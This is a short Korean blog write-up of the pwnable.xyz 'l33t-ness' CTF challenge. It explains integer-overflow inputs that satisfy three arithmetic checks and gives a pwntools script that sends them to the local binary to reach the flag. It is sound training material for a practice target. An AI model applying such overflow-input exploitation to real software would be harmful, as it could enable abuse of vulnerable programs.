1 ~ 3 round를 통과하면 win함수를 호출해 flag를 출력해준다
x, y를 입력 받는데 - 를 입력해서 음수를 쓸 수 없다 integer overflow해서 1337 맞춰주면 된다
x, y를 곱한 값이 1337을 맞춰주면된다 1번과 동일하다
5개 수를 입력 받아서 더한 값과 곱한 값이 동일하면된다 조건은 이전 값보다 작으면 안된다
다 0으로 주면 된다
from pwn import *
p = process("./l33t-ness")
def round_1(x, y):
p.recvuntil(b"x: ")
p.sendline(str(x))
p.recvuntil(b"y: ")
p.sendline(str(y))
def round_2(x, y):
p.recvuntil(b"===\n")
p.sendline(str(x))
p.sendline(str(y))
def round_3():
p.recvuntil(b"===\n")
p.sendline(b"0 0 0 0 0")
round_1(1335, 4294967294)
round_2(3, 1431656211)
round_3()
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / fspoo (0) | 2022.05.13 |
---|---|
pwnable.xyz / Game (0) | 2022.05.12 |
pwnable.xyz / Jmp table (0) | 2022.05.11 |
pwnable.xyz / TLSv00 (0) | 2022.05.11 |
pwnable.xyz / free spirit (0) | 2022.05.10 |